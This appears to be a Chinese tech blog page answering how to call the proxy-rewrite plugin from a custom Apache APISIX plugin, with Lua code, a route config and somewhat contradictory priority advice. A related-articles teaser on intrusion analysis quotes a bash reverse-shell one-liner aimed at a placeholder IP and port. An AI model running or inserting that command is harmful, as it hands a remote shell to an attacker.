apisix~14在自定义插件中调用proxy_rewrite

news/2024/9/19 9:20:52

在 Apache APISIX 中,通过 proxy-rewrite 插件来修改上游配置时,需要确保插件的执行顺序和上下文环境正确。你提到在自己的插件中调用 proxy_rewrite.rewrite({host="new_upstream"}, ctx),但新上游没有生效,这可能是由于以下几个原因:

  1. 插件执行顺序:确保你的自定义插件在 proxy-rewrite 插件之后执行,proxy-rewrite.priority是1008。
  2. 上下文环境:确保在正确的阶段(如 rewrite 阶段)进行上游修改。

下面是一个示例,展示如何在自定义插件中调用 proxy-rewrite 插件并修改上游配置。

自定义插件示例

假设你的插件名为 my-plugin,我们需要在 rewrite 阶段调用 proxy-rewrite 插件来修改上游。

local core = require("apisix.core")
local proxy_rewrite = require("apisix.plugins.proxy-rewrite")local plugin_name = "my-plugin"local _M = {version = 0.1,priority = 1000, -- 设置插件的优先级,值超大,优先级越高,越先执行name = plugin_name,
}-- 定义插件的 schema
_M.schema = {type = "object",properties = {new_host = {type = "string"}},required = {"new_host"}
}function _M.check_schema(conf)return core.schema.check(_M.schema, conf)
endfunction _M.rewrite(conf, ctx)local rewrite_conf = {host = conf.new_host}-- 调用 proxy-rewrite 插件的 rewrite 方法proxy_rewrite.rewrite(rewrite_conf, ctx)core.log.info("Upstream host rewritten to: ", conf.new_host)
endreturn _M

使用示例

在配置文件中启用并配置该插件:

{"plugins": {"my-plugin": {"new_host": "new_upstream"}},"upstream": {"nodes": {"127.0.0.1:1980": 1},"type": "roundrobin"}
}

注意事项

  1. 插件优先级:确保你的插件优先级低于proxy_rewrite,你插件的priority要小于1008
  2. 插件依赖:确保 proxy_rewrite 插件已加载,并且可以被调用。
  3. 日志检查:通过 APISIX 日志检查插件是否正确执行,并输出相关调试信息。

通过以上方法,你应该能够在自定义插件中调用 proxy-rewrite 插件,并成功修改上游配置。如果问题仍然存在,请检查 APISIX 的错误日志以获取更多信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/47608.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

NAS安全存储怎样实现更精细的数据权限管控?

NAS存储,即网络附属存储(Network Attached Storage),是一种专用数据存储服务器,其核心特点在于将数据存储设备与网络相连,实现集中管理数据的功能。NAS存储具有以下明显优势,而被全球范围内的企业都广泛采用: 集中存储:NAS可以将所有设备(如电脑、手机、平板等)的数…

【运维自动化-配置平台】如何对主机进行纳管

主机是配置平台管控最常见的资源,也是运维日常主要的管控对象;如何对主机进行全生命周期管理呢导入主机直接导入直接导入仅适用于直连区域(default area)的主机,也就是网络跟蓝鲸平台能内网互通的。 资源–>主机–>导入主机导入后的主机在主机池-空闲机模块下,默认…

智慧仓储中数据可视化是如何应用的?

智慧仓储中数据可视化是如何应用的?在现代物流和供应链管理中,智慧仓储已成为企业提升效率、降低成本和优化运营的重要手段。而数据可视化作为智慧仓储的重要工具,通过将复杂的数据转化为直观、易理解的图表和图形,极大地提升了仓储管理的精度和效率。首先,数据可视化在库…

mysql8.0表名忽略大小写(Ubuntu24.04)

最近发现在ubuntu环境中mysql8默认是不忽略大小写的,这个在使用一些orm框架的时候可能会遇到一些问题,比如jpa会将表默认小写,如果数据库中的表是大写的这个时候就会报错: 表不存在。如何解决呢? 其实在数据库中无非是添加一个参数## mysqld.cnf[mysqld]lower_case_table_n…

centos7配置nginx

需要安装几个插件 1.pcre、pcre-develyum install -y pcre pcre-devel 2.zlib安装yum install -y zlib zlib-devel 3.安装openssl 安装nginx,下载包wget http://nginx.org/download/nginx-1.9.9.tar.gz 如果提示wget 未找到命令 用下面命令装一下sudo yum install wget继续…

动态合批与静态合批的网格内存占用

1)动态合批与静态合批的网格内存占用2)如何让游戏能自动调起手机内置的“游戏空间”或“游戏助手”3)如何控制mesh.triangles值4)怎么让旧的粒子原地不动这是第391篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面…

【攻防技术系列+入侵分析】-- 手工分析Liunx反弹Shell特征①

#网络安全 #入侵分析 bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1 上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。 命令分析 下面我们来分析一下这条命令: bash:启动Bash shell; -i:以交互模…

虚拟机出现“XXX不在sudoers文件中,此事将被报告”的问题

执行成功后编辑 /etc/sudoers文件vim /ect/sudoers bash: vim:未找到命令 改成nano   nano /etc/sudoers 在 在文件中,你可以找到以下行:root ALL=(ALL:ALL) ALL 在其下方添加你需要的用户权限:mp20 ALL=(ALL:ALL) ALL 保存并退出编辑器。如果使用 nano,按 Ctrl + O 保存…